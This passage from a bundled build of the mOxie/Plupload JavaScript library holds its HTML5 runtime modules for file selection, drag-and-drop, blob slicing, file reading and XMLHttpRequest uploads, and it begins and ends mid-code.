			xhr.open('get', url);
			xhr.responseType = 'blob';

			xhr.onprogress = function(e) {
				self.trigger(e);
			};

			xhr.onload = function() {
				_loadFromBlob.call(self, xhr.response, true);
			};

			xhr.onerror = function(e) {
				self.trigger(e);
			};

			xhr.onloadend = function() {
				xhr.destroy();
			};

			xhr.bind('RuntimeError', function(e, err) {
				self.trigger('RuntimeError', err);
			});

			xhr.send(null, options);
		}
	}

	// virtual world will crash on you if image has a resolution higher than this:
	Image.MAX_RESIZE_WIDTH = 8192;
	Image.MAX_RESIZE_HEIGHT = 8192; 

	Image.prototype = EventTarget.instance;

	return Image;
});

// Included from: src/javascript/runtime/html5/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global File:true */

/**
Defines constructor for HTML5 runtime.

@class moxie/runtime/html5/Runtime
@private
*/
define("moxie/runtime/html5/Runtime", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/Runtime",
	"moxie/core/utils/Env"
], function(Basic, x, Runtime, Env) {
	
	var type = "html5", extensions = {};
	
	function Html5Runtime(options) {
		var I = this
		, Test = Runtime.capTest
		, True = Runtime.capTrue
		;

		var caps = Basic.extend({
				access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
				access_image_binary: function() {
					return I.can('access_binary') && !!extensions.Image;
				},
				display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
				do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
				drag_and_drop: Test(function() {
					// this comes directly from Modernizr: http://www.modernizr.com/
					var div = document.createElement('div');
					// IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
					return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) && 
						(Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
				}()),
				filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
					return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
						(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
				}()),
				return_response_headers: True,
				return_response_type: function(responseType) {
					if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
						return true;
					} 
					return Env.can('return_response_type', responseType);
				},
				return_status_code: True,
				report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
				resize_image: function() {
					return I.can('access_binary') && Env.can('create_canvas');
				},
				select_file: function() {
					return Env.can('use_fileinput') && window.File;
				},
				select_folder: function() {
					return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
				},
				select_multiple: function() {
					// it is buggy on Safari Windows and iOS
					return I.can('select_file') &&
						!(Env.browser === 'Safari' && Env.os === 'Windows') &&
						!(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
				},
				send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
				send_custom_headers: Test(window.XMLHttpRequest),
				send_multipart: function() {
					return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
				},
				slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
				stream_upload: function(){
					return I.can('slice_blob') && I.can('send_multipart');
				},
				summon_file_dialog: function() { // yeah... some dirty sniffing here...
					return I.can('select_file') && (
						(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
						(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
						!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
					);
				},
				upload_filesize: True
			}, 
			arguments[2]
		);

		Runtime.call(this, options, (arguments[1] || type), caps);


		Basic.extend(this, {

			init : function() {
				this.trigger("Init");
			},

			destroy: (function(destroy) { // extend default destroy method
				return function() {
					destroy.call(I);
					destroy = I = null;
				};
			}(this.destroy))
		});

		Basic.extend(this.getShim(), extensions);
	}

	Runtime.addConstructor(type, Html5Runtime);

	return extensions;
});

// Included from: src/javascript/core/utils/Events.js

/**
 * Events.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Events', [
	'moxie/core/utils/Basic'
], function(Basic) {
	var eventhash = {}, uid = 'moxie_' + Basic.guid();
	
	// IE W3C like event funcs
	function preventDefault() {
		this.returnValue = false;
	}

	function stopPropagation() {
		this.cancelBubble = true;
	}

	/**
	Adds an event handler to the specified object and store reference to the handler
	in objects internal Plupload registry (@see removeEvent).
	
	@method addEvent
	@for Utils
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Name to add event listener to.
	@param {Function} callback Function to call when event occurs.
	@param {String} [key] that might be used to add specifity to the event record.
	*/
	var addEvent = function(obj, name, callback, key) {
		var func, events;
					
		name = name.toLowerCase();

		// Add event listener
		if (obj.addEventListener) {
			func = callback;
			
			obj.addEventListener(name, func, false);
		} else if (obj.attachEvent) {
			func = function() {
				var evt = window.event;

				if (!evt.target) {
					evt.target = evt.srcElement;
				}

				evt.preventDefault = preventDefault;
				evt.stopPropagation = stopPropagation;

				callback(evt);
			};

			obj.attachEvent('on' + name, func);
		}
		
		// Log event handler to objects internal mOxie registry
		if (!obj[uid]) {
			obj[uid] = Basic.guid();
		}
		
		if (!eventhash.hasOwnProperty(obj[uid])) {
			eventhash[obj[uid]] = {};
		}
		
		events = eventhash[obj[uid]];
		
		if (!events.hasOwnProperty(name)) {
			events[name] = [];
		}
				
		events[name].push({
			func: func,
			orig: callback, // store original callback for IE
			key: key
		});
	};
	
	
	/**
	Remove event handler from the specified object. If third argument (callback)
	is not specified remove all events with the specified name.
	
	@method removeEvent
	@static
	@param {Object} obj DOM element to remove event listener(s) from.
	@param {String} name Name of event listener to remove.
	@param {Function|String} [callback] might be a callback or unique key to match.
	*/
	var removeEvent = function(obj, name, callback) {
		var type, undef;
		
		name = name.toLowerCase();
		
		if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
			type = eventhash[obj[uid]][name];
		} else {
			return;
		}
			
		for (var i = type.length - 1; i >= 0; i--) {
			// undefined or not, key should match
			if (type[i].orig === callback || type[i].key === callback) {
				if (obj.removeEventListener) {
					obj.removeEventListener(name, type[i].func, false);
				} else if (obj.detachEvent) {
					obj.detachEvent('on'+name, type[i].func);
				}
				
				type[i].orig = null;
				type[i].func = null;
				type.splice(i, 1);
				
				// If callback was passed we are done here, otherwise proceed
				if (callback !== undef) {
					break;
				}
			}
		}
		
		// If event array got empty, remove it
		if (!type.length) {
			delete eventhash[obj[uid]][name];
		}
		
		// If mOxie registry has become empty, remove it
		if (Basic.isEmptyObj(eventhash[obj[uid]])) {
			delete eventhash[obj[uid]];
			
			// IE doesn't let you remove DOM object property with - delete
			try {
				delete obj[uid];
			} catch(e) {
				obj[uid] = undef;
			}
		}
	};
	
	
	/**
	Remove all kind of events from the specified object
	
	@method removeAllEvents
	@static
	@param {Object} obj DOM element to remove event listeners from.
	@param {String} [key] unique key to match, when removing events.
	*/
	var removeAllEvents = function(obj, key) {		
		if (!obj || !obj[uid]) {
			return;
		}
		
		Basic.each(eventhash[obj[uid]], function(events, name) {
			removeEvent(obj, name, key);
		});
	};

	return {
		addEvent: addEvent,
		removeEvent: removeEvent,
		removeAllEvents: removeAllEvents
	};
});

// Included from: src/javascript/runtime/html5/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileInput
@private
*/
define("moxie/runtime/html5/file/FileInput", [
	"moxie/runtime/html5/Runtime",
	"moxie/file/File",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, File, Basic, Dom, Events, Mime, Env) {
	
	function FileInput() {
		var _options;

		Basic.extend(this, {
			init: function(options) {
				var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;

				_options = options;

				// figure out accept string
				mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));

				shimContainer = I.getShimContainer();

				shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
					(_options.multiple && I.can('select_multiple') ? 'multiple' : '') + 
					(_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
					(mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';

				input = Dom.get(I.uid);

				// prepare file input to be placed underneath the browse_button element
				Basic.extend(input.style, {
					position: 'absolute',
					top: 0,
					left: 0,
					width: '100%',
					height: '100%'
				});


				browseButton = Dom.get(_options.browse_button);

				// Route click event to the input[type=file] element for browsers that support such behavior
				if (I.can('summon_file_dialog')) {
					if (Dom.getStyle(browseButton, 'position') === 'static') {
						browseButton.style.position = 'relative';
					}

					zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;

					browseButton.style.zIndex = zIndex;
					shimContainer.style.zIndex = zIndex - 1;

					Events.addEvent(browseButton, 'click', function(e) {
						var input = Dom.get(I.uid);
						if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
							input.click();
						}
						e.preventDefault();
					}, comp.uid);
				}

				/* Since we have to place input[type=file] on top of the browse_button for some browsers,
				browse_button loses interactivity, so we restore it here */
				top = I.can('summon_file_dialog') ? browseButton : shimContainer;

				Events.addEvent(top, 'mouseover', function() {
					comp.trigger('mouseenter');
				}, comp.uid);

				Events.addEvent(top, 'mouseout', function() {
					comp.trigger('mouseleave');
				}, comp.uid);

				Events.addEvent(top, 'mousedown', function() {
					comp.trigger('mousedown');
				}, comp.uid);

				Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
					comp.trigger('mouseup');
				}, comp.uid);


				input.onchange = function onChange(e) { // there should be only one handler for this
					comp.files = [];

					Basic.each(this.files, function(file) {
						var relativePath = '';

						if (_options.directory) {
							// folders are represented by dots, filter them out (Chrome 11+)
							if (file.name == ".") {
								// if it looks like a folder...
								return true;
							}
						}

						if (file.webkitRelativePath) {
							relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
						}
						
						file = new File(I.uid, file);
						file.relativePath = relativePath;

						comp.files.push(file);
					});

					// clearing the value enables the user to select the same file again if they want to
					if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
						this.value = '';
					} else {
						// in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
						var clone = this.cloneNode(true);
						this.parentNode.replaceChild(clone, this);
						clone.onchange = onChange;
					}

					if (comp.files.length) {
						comp.trigger('change');
					}
				};

				// ready event is perfectly asynchronous
				comp.trigger({
					type: 'ready',
					async: true
				});

				shimContainer = null;
			},


			disable: function(state) {
				var I = this.getRuntime(), input;

				if ((input = Dom.get(I.uid))) {
					input.disabled = !!state;
				}
			},

			destroy: function() {
				var I = this.getRuntime()
				, shim = I.getShim()
				, shimContainer = I.getShimContainer()
				;
				
				Events.removeAllEvents(shimContainer, this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
				
				if (shimContainer) {
					shimContainer.innerHTML = '';
				}

				shim.removeInstance(this.uid);

				_options = shimContainer = shim = null;
			}
		});
	}

	return (extensions.FileInput = FileInput);
});

// Included from: src/javascript/runtime/html5/file/Blob.js

/**
 * Blob.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/Blob
@private
*/
define("moxie/runtime/html5/file/Blob", [
	"moxie/runtime/html5/Runtime",
	"moxie/file/Blob"
], function(extensions, Blob) {

	function HTML5Blob() {
		function w3cBlobSlice(blob, start, end) {
			var blobSlice;

			if (window.File.prototype.slice) {
				try {
					blob.slice();	// depricated version will throw WRONG_ARGUMENTS_ERR exception
					return blob.slice(start, end);
				} catch (e) {
					// depricated slice method
					return blob.slice(start, end - start);
				}
			// slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
			} else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
				return blobSlice.call(blob, start, end);
			} else {
				return null; // or throw some exception
			}
		}

		this.slice = function() {
			return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
		};
	}

	return (extensions.Blob = HTML5Blob);
});

// Included from: src/javascript/runtime/html5/file/FileDrop.js

/**
 * FileDrop.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileDrop
@private
*/
define("moxie/runtime/html5/file/FileDrop", [
	"moxie/runtime/html5/Runtime",
	'moxie/file/File',
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime"
], function(extensions, File, Basic, Dom, Events, Mime) {
	
	function FileDrop() {
		var _files = [], _allowedExts = [], _options, _ruid;

		Basic.extend(this, {
			init: function(options) {
				var comp = this, dropZone;

				_options = options;
				_ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
				_allowedExts = _extractExts(_options.accept);
				dropZone = _options.container;

				Events.addEvent(dropZone, 'dragover', function(e) {
					if (!_hasFiles(e)) {
						return;
					}
					e.preventDefault();
					e.dataTransfer.dropEffect = 'copy';
				}, comp.uid);

				Events.addEvent(dropZone, 'drop', function(e) {
					if (!_hasFiles(e)) {
						return;
					}
					e.preventDefault();

					_files = [];

					// Chrome 21+ accepts folders via Drag'n'Drop
					if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
						_readItems(e.dataTransfer.items, function() {
							comp.files = _files;
							comp.trigger("drop");
						});
					} else {
						Basic.each(e.dataTransfer.files, function(file) {
							_addFile(file);
						});
						comp.files = _files;
						comp.trigger("drop");
					}
				}, comp.uid);

				Events.addEvent(dropZone, 'dragenter', function(e) {
					comp.trigger("dragenter");
				}, comp.uid);

				Events.addEvent(dropZone, 'dragleave', function(e) {
					comp.trigger("dragleave");
				}, comp.uid);
			},

			destroy: function() {
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				_ruid = _files = _allowedExts = _options = null;
			}
		});


		function _hasFiles(e) {
			if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
				return false;
			}

			var types = Basic.toArray(e.dataTransfer.types || []);

			return Basic.inArray("Files", types) !== -1 ||
				Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
				Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
				;
		}


		function _addFile(file, relativePath) {
			if (_isAcceptable(file)) {
				var fileObj = new File(_ruid, file);
				fileObj.relativePath = relativePath || '';
				_files.push(fileObj);
			}
		}

		
		function _extractExts(accept) {
			var exts = [];
			for (var i = 0; i < accept.length; i++) {
				[].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
			}
			return Basic.inArray('*', exts) === -1 ? exts : [];
		}


		function _isAcceptable(file) {
			if (!_allowedExts.length) {
				return true;
			}
			var ext = Mime.getFileExtension(file.name);
			return !ext || Basic.inArray(ext, _allowedExts) !== -1;
		}


		function _readItems(items, cb) {
			var entries = [];
			Basic.each(items, function(item) {
				var entry = item.webkitGetAsEntry();
				// Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
				if (entry) {
					// file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
					if (entry.isFile) {
						_addFile(item.getAsFile(), entry.fullPath);
					} else {
						entries.push(entry);
					}
				}
			});

			if (entries.length) {
				_readEntries(entries, cb);
			} else {
				cb();
			}
		}


		function _readEntries(entries, cb) {
			var queue = [];
			Basic.each(entries, function(entry) {
				queue.push(function(cbcb) {
					_readEntry(entry, cbcb);
				});
			});
			Basic.inSeries(queue, function() {
				cb();
			});
		}


		function _readEntry(entry, cb) {
			if (entry.isFile) {
				entry.file(function(file) {
					_addFile(file, entry.fullPath);
					cb();
				}, function() {
					// fire an error event maybe
					cb();
				});
			} else if (entry.isDirectory) {
				_readDirEntry(entry, cb);
			} else {
				cb(); // not file, not directory? what then?..
			}
		}


		function _readDirEntry(dirEntry, cb) {
			var entries = [], dirReader = dirEntry.createReader();

			// keep quering recursively till no more entries
			function getEntries(cbcb) {
				dirReader.readEntries(function(moreEntries) {
					if (moreEntries.length) {
						[].push.apply(entries, moreEntries);
						getEntries(cbcb);
					} else {
						cbcb();
					}
				}, cbcb);
			}

			// ...and you thought FileReader was crazy...
			getEntries(function() {
				_readEntries(entries, cb);
			}); 
		}
	}

	return (extensions.FileDrop = FileDrop);
});

// Included from: src/javascript/runtime/html5/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileReader
@private
*/
define("moxie/runtime/html5/file/FileReader", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Encode",
	"moxie/core/utils/Basic"
], function(extensions, Encode, Basic) {
	
	function FileReader() {
		var _fr, _convertToBinary = false;

		Basic.extend(this, {

			read: function(op, blob) {
				var comp = this;

				comp.result = '';

				_fr = new window.FileReader();

				_fr.addEventListener('progress', function(e) {
					comp.trigger(e);
				});

				_fr.addEventListener('load', function(e) {
					comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
					comp.trigger(e);
				});

				_fr.addEventListener('error', function(e) {
					comp.trigger(e, _fr.error);
				});

				_fr.addEventListener('loadend', function(e) {
					_fr = null;
					comp.trigger(e);
				});

				if (Basic.typeOf(_fr[op]) === 'function') {
					_convertToBinary = false;
					_fr[op](blob.getSource());
				} else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
					_convertToBinary = true;
					_fr.readAsDataURL(blob.getSource());
				}
			},

			abort: function() {
				if (_fr) {
					_fr.abort();
				}
			},

			destroy: function() {
				_fr = null;
			}
		});

		function _toBinary(str) {
			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
		}
	}

	return (extensions.FileReader = FileReader);
});

// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global ActiveXObject:true */

/**
@class moxie/runtime/html5/xhr/XMLHttpRequest
@private
*/
define("moxie/runtime/html5/xhr/XMLHttpRequest", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Url",
	"moxie/file/File",
	"moxie/file/Blob",
	"moxie/xhr/FormData",
	"moxie/core/Exceptions",
	"moxie/core/utils/Env"
], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
	
	function XMLHttpRequest() {
		var self = this
		, _xhr
		, _filename
		;

		Basic.extend(this, {
			send: function(meta, data) {
				var target = this
				, isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
				, isAndroidBrowser = Env.browser === 'Android Browser'
				, mustSendAsBinary = false
				;

				// extract file name
				_filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();

				_xhr = _getNativeXHR();
				_xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);


				// prepare data to be sent
				if (data instanceof Blob) {
					if (data.isDetached()) {
						mustSendAsBinary = true;
					}
					data = data.getSource();
				} else if (data instanceof FormData) {

					if (data.hasBlob()) {
						if (data.getBlob().isDetached()) {
							data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
							mustSendAsBinary = true;
						} else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
							// Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
							// Android browsers (default one and Dolphin) seem to have the same issue, see: #613
							_preloadAndSend.call(target, meta, data);
							return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
						}	
					}

					// transfer fields to real FormData
					if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
						var fd = new window.FormData();
						data.each(function(value, name) {
							if (value instanceof Blob) {
								fd.append(name, value.getSource());
							} else {
								fd.append(name, value);
							}
						});
						data = fd;
					}
				}


				// if XHR L2
				if (_xhr.upload) {
					if (meta.withCredentials) {
						_xhr.withCredentials = true;
					}

					_xhr.addEventListener('load', function(e) {
						target.trigger(e);
					});

					_xhr.addEventListener('error', function(e) {
						target.trigger(e);
					});

					// additionally listen to progress events
					_xhr.addEventListener('progress', function(e) {
						target.trigger(e);
					});

					_xhr.upload.addEventListener('progress', function(e) {
						target.trigger({
							type: 'UploadProgress',
							loaded: e.loaded,
							total: e.total
						});
					});
				// ... otherwise simulate XHR L2
				} else {
					_xhr.onreadystatechange = function onReadyStateChange() {
						
						// fake Level 2 events
						switch (_xhr.readyState) {
							
							case 1: // XMLHttpRequest.OPENED
								// readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
								break;
							
							// looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
							case 2: // XMLHttpRequest.HEADERS_RECEIVED
								break;
								
							case 3: // XMLHttpRequest.LOADING 
								// try to fire progress event for not XHR L2
								var total, loaded;
								
								try {
									if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
										total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
									}

									if (_xhr.responseText) { // responseText was introduced in IE7
										loaded = _xhr.responseText.length;
									}
								} catch(ex) {
									total = loaded = 0;
								}

								target.trigger({
									type: 'progress',
									lengthComputable: !!total,
									total: parseInt(total, 10),
									loaded: loaded
								});
								break;
								
							case 4: // XMLHttpRequest.DONE
								// release readystatechange handler (mostly for IE)
								_xhr.onreadystatechange = function() {};

								// usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
								if (_xhr.status === 0) {
									target.trigger('error');
								} else {
									target.trigger('load');
								}							
								break;
						}
					};
				}
				

				// set request headers
				if (!Basic.isEmptyObj(meta.headers)) {
					Basic.each(meta.headers, function(value, header) {
						_xhr.setRequestHeader(header, value);
					});
				}

				// request response type
				if ("" !== meta.responseType && 'responseType' in _xhr) {
					if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
						_xhr.responseType = 'text';
					} else {
						_xhr.responseType = meta.responseType;
					}
				}

				// send ...
				if (!mustSendAsBinary) {
					_xhr.send(data);
				} else {
					if (_xhr.sendAsBinary) { // Gecko
						_xhr.sendAsBinary(data);
					} else { // other browsers having support for typed arrays
						(function() {
							// mimic Gecko's sendAsBinary
							var ui8a = new Uint8Array(data.length);
							for (var i = 0; i < data.length; i++) {
								ui8a[i] = (data.charCodeAt(i) & 0xff);
							}
							_xhr.send(ui8a.buffer);
						}());
					}
				}

				target.trigger('loadstart');
			},

			getStatus: function() {
				// according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
				try {
					if (_xhr) {
						return _xhr.status;
					}
				} catch(ex) {}
				return 0;
			},

			getResponse: function(responseType) {
				var I = this.getRuntime();

				try {
					switch (responseType) {
						case 'blob':
							var file = new File(I.uid, _xhr.response);
							
							// try to extract file name from content-disposition if possible (might be - not, if CORS for example)	
							var disposition = _xhr.getResponseHeader('Content-Disposition');
							if (disposition) {
								// extract filename from response header if available
								var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
								if (match) {
									_filename = match[2];
								}
							}
							file.name = _filename;

							// pre-webkit Opera doesn't set type property on the blob response
							if (!file.type) {
								file.type = Mime.getFileMime(_filename);
							}
							return file;

						case 'json':
							if (!Env.can('return_response_type', 'json')) {
								return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
							}
							return _xhr.response;

						case 'document':
							return _getDocument(_xhr);

						default:
							return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
					}
				} catch(ex) {
					return null;
				}				
			},

			getAllResponseHeaders: function() {
				try {
					return _xhr.getAllResponseHeaders();
				} catch(ex) {}
				return '';
			},

			abort: function() {
				if (_xhr) {
					_xhr.abort();
				}
			},

			destroy: function() {
				self = _filename = null;
			}
		});


		// here we go... ugly fix for ugly bug
		function _preloadAndSend(meta, data) {
			var target = this, blob, fr;
				
			// get original blob
			blob = data.getBlob().getSource();
			
			// preload blob in memory to be sent as binary string
			fr = new window.FileReader();
			fr.onload = function() {
				// overwrite original blob
				data.append(data.getBlobName(), new Blob(null, {
					type: blob.type,
					data: fr.result
				}));
				// invoke send operation again
				self.send.call(target, meta, data);
			};
			fr.readAsBinaryString(blob);
		}

		
		function _getNativeXHR() {
			if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
				return new window.XMLHttpRequest();
			} else {
				return (function() {
					var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
					for (var i = 0; i < progIDs.length; i++) {
						try {
							return new ActiveXObject(progIDs[i]);
						} catch (ex) {}
					}
				})();
			}
		}
		
		// @credits Sergey Ilinsky	(http://www.ilinsky.com/)
		function _getDocument(xhr) {
			var rXML = xhr.responseXML;
			var rText = xhr.responseText;
			
			// Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
			if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
				rXML = new window.ActiveXObject("Microsoft.XMLDOM");
				rXML.async = false;
				rXML.validateOnParse = false;
				rXML.loadXML(rText);
			}
	
			// Check if there is no error in document
			if (rXML) {
				if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
					return null;
				}
			}
			return rXML;
		}


		function _prepareMultipart(fd) {
			var boundary = '----moxieboundary' + new Date().getTime()
			, dashdash = '--'
			, crlf = '\r\n'
			, multipart = ''
			, I = this.getRuntime()
			;

			if (!I.can('send_binary_string')) {
				throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
			}

			_xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);

			// append multipart parameters
			fd.each(function(value, name) {
				// Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(), 
				// so we try it here ourselves with: unescape(encodeURIComponent(value))
				if (value instanceof Blob) {
					// Build RFC2388 blob
					multipart += dashdash + boundary + crlf +
						'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
						'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
						value.getSource() + crlf;
				} else {
					multipart += dashdash + boundary + crlf +
						'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
						unescape(encodeURIComponent(value)) + crlf;
				}
			});

			multipart += dashdash + boundary + dashdash + crlf;

			return multipart;
		}
	}

	return (extensions.XMLHttpRequest = XMLHttpRequest);
});

// Included from: src/javascript/runtime/html5/utils/BinaryReader.js

/**
 * BinaryReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/utils/BinaryReader
@private
*/
define("moxie/runtime/html5/utils/BinaryReader", [
	"moxie/core/utils/Basic"
], function(Basic) {

	
	function BinaryReader(data) {
		if (data instanceof ArrayBuffer) {
			ArrayBufferReader.apply(this, arguments);
		} else {
			UTF16StringReader.apply(this, arguments);
		}
	}

	Basic.extend(BinaryReader.prototype, {
		
		littleEndian: false,


		read: function(idx, size) {
			var sum, mv, i;

			if (idx + size > this.length()) {
				throw new Error("You are trying to read outside the source boundaries.");
			}
			
			mv = this.littleEndian 
				? 0 
				: -8 * (size - 1)
			;

			for (i = 0, sum = 0; i < size; i++) {
				sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
			}
			return sum;
		},


		write: function(idx, num, size) {
			var mv, i, str = '';

			if (idx > this.length()) {
				throw new Error("You are trying to write outside the source boundaries.");
			}

			mv = this.littleEndian 
				? 0 
				: -8 * (size - 1)
			;

			for (i = 0; i < size; i++) {
				this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
			}
		},


		BYTE: function(idx) {
			return this.read(idx, 1);
		},


		SHORT: function(idx) {
			return this.read(idx, 2);
		},


		LONG: function(idx) {
			return this.read(idx, 4);
		},


		SLONG: function(idx) { // 2's complement notation
			var num = this.read(idx, 4);
			return (num > 2147483647 ? num - 4294967296 : num);
		},


		CHAR: function(idx) {
			return String.fromCharCode(this.read(idx, 1));
		},


		STRING: function(idx, count) {
			return this.asArray('CHAR', idx, count).join('');
		},


		asArray: function(type, idx, count) {
			var values = [];

			for (var i = 0; i < count; i++) {
